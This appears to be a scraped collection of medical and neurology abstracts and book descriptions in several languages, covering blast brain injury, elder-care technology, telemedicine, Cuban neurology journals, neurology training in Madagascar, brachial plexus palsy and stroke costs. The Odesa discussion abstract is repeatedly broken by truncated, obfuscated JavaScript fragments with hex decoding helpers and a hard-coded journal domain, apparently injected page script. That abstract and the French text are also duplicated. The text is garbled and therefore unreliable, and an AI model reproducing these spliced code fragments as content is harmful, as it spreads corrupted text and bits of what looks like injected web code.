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In the recent wars in Iraq and Afghanistan, US military personnel have suffered over 333,000 traumatic brain injuries (TBIs), with over 85% being mild TBI. A variety of improvised munitions, such as improvised explosive devices (IEDs) and improvised rocket assisted mortars (IRAMs), have resulted in the explosive blast-induced TBI (bTBI). Due to its prevalence, TBI has been referred to as the signature wound of US warfighters in Afghanistan and Iraq. Explosive blast produces damage to the brain by creating a dynamic environment in forms of overpressure shock wave, heat impulse, blast-propelled projectiles, and debris, whose impact can cause complex injuries in the brain and other visceral organ systems, such as lung and bowel. Mechanisms of bTBI incorporate all forms of TBI such as falls, motor vehicle accidents, and coup-contrecoup injury. Some of the unique aspects of bTBI include the rate at which the injury occurs, the differential pressure load on and within the tissue, and the pressure-loaded tissue response. Mild bTBI is the most problematic injury within the US military in terms of number of warfighters affected and recognition of the injury. The pathobiology of mild bTBI is not fully understood. Here, we review mild bTBI injury, symptomology, and diagnosis. Finally, multi-modality testing is discussed, including functional, structural, and evidence-based evaluation with an intention to describe and diagnose mild bTBI affecting the US warfighter.

Huge demographic and socio-economic changes are part of the experience of present societies. One consequence is the aging of the population and increasingly more people without the capacity for self-care. The provision of intergenerational care, namely caring for the older individuals, is a focus of attention for health professionals, but is also part of the political and social agenda. There is a need to regulate, support, and facilitate the daily life of families who have a dependent aged member. In contemporary societies, the use of information and communication technologies (ICT) is an important driver of innovation, responsible for a large transformation of living standards and new social behaviors. Within the scope of the provision of informal care, ICT can provide a great support, representing a primordial tool for updating the organizations in order to improve their efficiency, incorporating and making available services, and anticipating needs. Thus, the development of equipment, electronic applications, and websites for the elderly or their family caregivers should be conceptualized and customized to the profile of these users. A major challenge faced by healthcare institutions is to focus their services by organizing them around citizens' needs.

Telemedicine is defined as the remote medical practice of delivering healthcare services to the underserved using information and communication technology. It encompasses a wide range of medical activities, including diagnosis, treatment, disease prevention, and education. The coronavirus disease of 2019 (COVID-19) pandemic has caused significant social dislocation, negative economic impact, and a major change in medical practice in Saudi Arabia. Telemedicine has rapidly moved to the frontline of healthcare practice due to the demand for prevention and mitigation strategies. It has been encouraged and facilitated with huge government support. Herein, we describe the virtual clinical practice of the neurology department at King Abdulaziz Medical City-Jeddah in response to the COVID-19 pandemic. This narrative review is an urgent call to improve the perception and knowledge of both medical personnel and patients concerning telemedicine and to support the utilization of advanced information and communication technology.

"Environmental pollution is a risk factor for illnesses, including nervous system disorders. This book combines the highlights the effects of environmental pollution on brain biology. It will be an overview of the pathophysiological and oxidative stress mechanisms and how environmental pollution affects brain biology"--

This book aims at disseminating information and knowledge in Gerontechnology, a topic that is still considered a specific area of interest for techno-experts (i.e. informatics, engineers, bio-engineers, bio-statistics, etc.) while there is a relatively low diffusion of technological expertise among clinicians and other health professionals who are involved in the care of older people. In many parts of the world, average life expectancy is rising consistently, and at the same time technology is developing at a dramatic pace. This means having completely new options for the diagnosis, treatment and follow-up of diseases and disabilities of older people but also a new challenge to improve the quality of life by promoting an active and healthy aging at population level. This book explores the technical developments that are beginning to change the management of diseases and disabilities of geriatric patients. These include advanced Information and Communication Technologies (ICT), i.e. the new online services in healthcare and electronic medical-health records, Assistive Technologies (AT), i.e. behavior and motility monitoring sensorial tools, smart homes tools and telemedicine tools as well as Human-Computer Interaction technologies (HCI), i.e. robots for supporting people with mobility or cognitive limitations, humanoid robots, exoskeletons and rehabilitation robots. The Work is divided into three main parts: 1) Technology in a world of aging people, 2) Clinical applications of technologies in older people, and 3) Older people and technologies interaction including privacy issues, acceptability of technologies by older people and education and training of healthcare professionals in gerontechnology. The book will be an invaluable tool for geriatricians and other health professionals who are involved in the care of older people

Substance abuse comprises a global biopsychosocial phenomenon for the world as billions of human beings are experimenting with various illicit chemicals and millions are addicted to various substances. By virtue of their complex nature these disorders can be very difficult to treat and not only complicates the natural course of disease but can also adversely impact long term outcomes. This book is aiming to examine this complex situation in adolescents and young adults and also to provide management plans for clinicians to follow.The information will be presented in an easy to follow format to be used as a clinical reference by physicians and paramedical staff in various fields of medicine including pediatrics, primary care, internal medicine, psychiatry and others.

INTRODUCCIÓN: Se brinda una perspectiva de la publicación de los artículos científicos sobre Neurología y Neurocirugía en las revistas médicas cubanas durante el periodo de actividad de la Revista Cubana de Neurología y Neurocirugía (RCNN: 2011–2017). Se presentan datos en relación con la productividad, se realizan comparaciones, se plantean los factores que pueden explicar las tendencias y se realizan recomendaciones.DESARROLLO: El comportamiento por años de las diferentes modalidades de artículos científicos publicados en la RCNN muestra una curva con su fase superior durante el periodo 2013-2015. Con respecto al año 2015 hubo un descenso cercano a un quinto y un tercio en el 2016 y 2017, respectivamente. Las principales temáticas de los artículos científicos son: Neurología vascular (24%), Neuro-oncología (23%), Neuro-traumatología (13%), y Neuropsicología/Neuropsiquiatría (13%). El 23% de los artículos científicos (16,4%) califican en el ámbito de la Neuropediatría. Al comparar los tipos y temáticas de los artículos neurocientíficos de la RCNN con el conjunto de revistas médicas cubanas no especializadas en Neurología y Neurocirugía analizadas se observa que la producción de la RCNN es superada en casi un tercio en los originales y mucho más en las presentaciones de casos. Fue similar la frecuencia de artículos dedicados a la Neurología vascular, Epilepsia, Neuro-oncología, Neuro-traumatología y Neuropsicología/Neuropsiquiatría. En otros temas la RCNN fue superada en más de dos veces en cuanto a la publicación de artículos científicos.CONCLUSIONES: El debilitamiento del potencial científico puede explicar los hallazgos. Es preocupante la dispersión de iniciativas entre tantas revistas relacionadas con las especialidades, como también las carencias metodológicas y el rigor en la política editorial en general. Se recomiendan estrategias para estimular el potencial científico y el impacto de las revistas médicas cubanas. ; INTRODUCTION: It provides a perspective on the publication of scientific articles about Neurology and Neurosurgery in Cuban medical journals during the period of activity of Revista Cubana de Neurología y Neurocirugía (RCNN: 2011 – 2017). Data are presented in relation to productivity, comparisons are made, and factors that could explain trends and recommendations are formulated.DEVELOPMENT: The behavior for years of different modalities of scientific articles published in RCNN shows a curve with its upper phase during the period 2013-2015. With respect to the year 2015 there was a decrease close to a fifth and a third in 2016 and 2017, respectively. The main topics of the scientific articles are: Vascular Neurology (24%), Neuro-oncology (23%), Neuro-traumatology (13%), and Neuropsychology/Neuropsychiatry (13%). Neuropediatry scope was addressed in 23% of scientific articles (16.4%). When comparing types and themes of neuroscientific articles in RCNN with the set of Cuban medical journals not specialized in Neurology and Neurosurgery analyzed, it is observed that RCNN production is surpassed in almost one third in originals articles and even more so in case presentations. It was similar to the frequency of articles devoted to Vascular Neurology, Epilepsy, Neuro-oncology, Neuro-traumatology, and Neuropsychology/Neuropsychiatry. In other areas, RCNN was exceeded in more than twice as far as the production of scientific articles.CONCLUSIONS: The weakening of scientific potential can explain the findings. The dispersion of initiatives among so many specialties-related journals, as well as methodological shortcomings and rigor in editorial politics, is worrisome. Specific strategies are recommended to stimulate the scientific potential and Cuban medical journals impact.

New ways of understanding the brain - its nature, its capacities, its function, and its dysfunction - hold great promise for human wellbeing. Novel therapeutics spurred by this understanding have important roles addressing many clinical conditions, including Alzheimer Disease, depression, addiction, and obsessive-compulsive disorder. This unique title explores a wide range of groundbreaking sciences and clinical practices for brain-based conditions, including deep brain stimulation, optogenetics, technology-delivered therapies, predictive testing, and new clinical uses of ketamine, cannabis, and other psychoactive substances. An introduction to the imperative to develop new treatments for devastating brain disorders and the state of current therapeutics in psychiatry, addiction, and behavioral disorders is presented, and chapters from leading physician-scientists and neuroethicists outline the clinical and the ethical issues arising in innovation and in the creation of new therapeutics for brain diseases. Written by renowned thought leaders in their fields, the book presents tightly written contributions on novel qualitative and quantitative data from stakeholders in the field, including neuroscientist-clinicians, people living with mental illness and/or addictions, and oversight/policy stakeholders. Concise, anticipatory, and centered on the principles governing human biomedical research and innovation in developing novel therapeutics for brain disorders, Ethics and Clinical Neuroinnovation will be of great value to clinicians, researchers, and students from a vast array of backgrounds, including neuroethics, neuroscience, psychology, psychiatry, philosophy, entrepreneurship, and the law

The article presents an analysis of some of the most important forms of communication in the team – discussion. Since the beginning of reform in society and medicine, feeling the democratic changes in the country, the University and at the Neurology Department of Odesa National Medical University to improve the quality of training and education began to enforce this form of work. New approaches in the activities of the department can be seen in a large range of topics discussed, and the fact that participation by a wide range of invited participants. This makes it possible, at both the department and the University, to discuss difficult issues of reforming education and medicine.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e ; У статті представлений аналіз однієї з важливих форм спілкування в колективі – дискусії. З початком реформ у суспільстві й медицині, відчуваючи демократичні зміни в країні, в університеті й на кафедрі неврології Одеського національного медичного університету для покращення якості навчання та виховання почали впроваджувати в життя цю форму роботи. Нові підходи в діяльності кафедри можна побачити у великому діапазоні тем, що обговорюються, а також те, що для участі в дискусії запрошується широке коло учасників. Це дає можливість, як на рівні кафедри, так і університету, обговорювати складні питання реформування медицини і освіти.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

The article presents an analysis of some of the most important forms of communication in the team – discussion. Since the beginning of reform in society and medicine, feeling the democratic changes in the country, the University and at the Neurology Department of Odesa National Medical University to improve the quality of training and education began to enforce this form of work. New approaches in the activities of the department can be seen in a large range of topics discussed, and the fact that participation by a wide range of invited participants. This makes it possible, at both the department and the University, to discuss difficult issues of reforming education and medicine.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e ; У статті представлений аналіз однієї з важливих форм спілкування в колективі – дискусії. З початком реформ у суспільстві й медицині, відчуваючи демократичні зміни в країні, в університеті й на кафедрі неврології Одеського національного медичного університету для покращення якості навчання та виховання почали впроваджувати в життя цю форму роботи. Нові підходи в діяльності кафедри можна побачити у великому діапазоні тем, що обговорюються, а також те, що для участі в дискусії запрошується широке коло учасників. Це дає можливість, як на рівні кафедри, так і університету, обговорювати складні питання реформування медицини і освіти.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Le paysage humanitaire est aujourd'hui riche et complexe. Le médecin, personnage emblématique et largement médiatisé du terrain humanitaire, trouve sa place dans ce domaine en tant qu'il est l'acteur et l'auteur de soins dispensés à travers le monde en réponse à cette vulnérabilité extrême de l'homme de plus en plus prégnante aujourd'hui. A la fois née des conflits et de la grande vague de colonisation de la fin du 19ème Siècle, la médecine hu manitaire rassemble différents héritages dont elle s'est mutuellement enrichie. L'ère du développement, inaugurée par le discours d'investiture du président Truman en 1949, rebaptisa tout un ensemble de pays désormais qualifiés de pays « en voie de développement ». La santé, vue jusqu'alors comme un simple produit du développement économique, va progressivement s'imposer comme moteur central de l'aide au développement. Madagascar fait aujourd'hui face à une pénurie aiguë de ressources humaines en santé. Cette crise multifactorielle n'est pas le fait d'un particularisme national mais plutôt le lot d'un grand nombre de ces pays en développement. Sa prise de conscience relativement récente en fait aujourd'hui unepriorité inscrite sur l'agenda politique de ces pays et des grandes instances internationalesLa neurologie est une discipline largement concernée par les différentes problématiques de santé priorisées dans ces pays. Qu?il s'agisse des maladies cibles des grands programmes verticaux (VIH, paludisme, lèpre, poliomyélite, etc.), des maladies tropicales dites « négligées » ou encore des maladies fréquemment rencontrées en soins de santé primaires (céphalées, épilepsie, pathologie cérébro-vasculaire, etc.), la neurologie apparaît toujours de près ou de loin concernée. Après avoir mené notre propre expérience en santé à Madagascar, la mise en forme d'un projet d'aide au système de santé malgache s'est imposée à nous. En collaboration avec plusieurs acteurs de santé locaux, nous avons pensé une intervention de formation médicale continue en neurologie à destination des ...

Le paysage humanitaire est aujourd'hui riche et complexe. Le médecin, personnage emblématique et largement médiatisé du terrain humanitaire, trouve sa place dans ce domaine en tant qu'il est l'acteur et l'auteur de soins dispensés à travers le monde en réponse à cette vulnérabilité extrême de l'homme de plus en plus prégnante aujourd'hui. A la fois née des conflits et de la grande vague de colonisation de la fin du 19ème Siècle, la médecine hu manitaire rassemble différents héritages dont elle s'est mutuellement enrichie. L'ère du développement, inaugurée par le discours d'investiture du président Truman en 1949, rebaptisa tout un ensemble de pays désormais qualifiés de pays « en voie de développement ». La santé, vue jusqu'alors comme un simple produit du développement économique, va progressivement s'imposer comme moteur central de l'aide au développement. Madagascar fait aujourd'hui face à une pénurie aiguë de ressources humaines en santé. Cette crise multifactorielle n'est pas le fait d'un particularisme national mais plutôt le lot d'un grand nombre de ces pays en développement. Sa prise de conscience relativement récente en fait aujourd'hui unepriorité inscrite sur l'agenda politique de ces pays et des grandes instances internationalesLa neurologie est une discipline largement concernée par les différentes problématiques de santé priorisées dans ces pays. Qu?il s'agisse des maladies cibles des grands programmes verticaux (VIH, paludisme, lèpre, poliomyélite, etc.), des maladies tropicales dites « négligées » ou encore des maladies fréquemment rencontrées en soins de santé primaires (céphalées, épilepsie, pathologie cérébro-vasculaire, etc.), la neurologie apparaît toujours de près ou de loin concernée. Après avoir mené notre propre expérience en santé à Madagascar, la mise en forme d'un projet d'aide au système de santé malgache s'est imposée à nous. En collaboration avec plusieurs acteurs de santé locaux, nous avons pensé une intervention de formation médicale continue en neurologie à destination des ...

Neonatal brachial plexus palsy is a complication that occurs during difficult vaginal delivery or due to unexplained causes, probably prenatal in which some or all brachial plexus branches are affected (avulsion, rupture, stretching). A cohort of 28 cases evaluated in our clinic in 6 years and 6 months (Jan 2007-July 2013) from the clinical and paraclinical point of view, treatment, and the outcome were analyzed. 17 (60.7%) of the patients were boys and 11 (39.2%) were girls. 14 (50%) had right brachial plexus palsy, 12 (42.8%) had left brachial plexus palsy and 2 (7.1%) had bilateral involvement. 5 (17.8%) of them had reconstructive surgery done. 11 (39.2%) had good to complete recovery. The purpose of this paper is to underline the importance of early presentation for neurological evaluation and the beginning of physical therapy.

Ischemic stroke is one of the leading causes of global disease burden. Vietnam, among other low- and middle-income countries, bears nearly 90% of the ischemic stroke burden. This study was a cost-of-illness study conducted from the healthcare system perspective to estimate the direct medical costs and associated factors for acute ischemic stroke patients at Bach Mai Hospital, a major hospital in Hanoi, Vietnam. A total of 500 eligible patients with acute ischemic stroke at the Neurology Department of Bach Mai Hospital from July 2021 to December 2021 were included. Patient characteristics and treatment information were collected via medical records and patient interviews. The majority of the patients were men (65.8%), with a mean age of 65.3 years. The average direct medical cost per patient was 10.5 ± 7.3 million Vietnam Dong (~454.2 ± 313.8 US dollars). The cost of hospital beds accounted for most of the total cost (34.6%), followed by medications and infusion fluid costs (27%) and diagnostic imaging (12.6%). Factors significantly associated with higher direct medical costs were the duration of stay, stroke severity, complications, number of comorbidities, and intravenous thrombolysis treatment. The study highlighted the need for a reduction in the duration of hospital stay and an improvement in onset-to-hospital arrival time.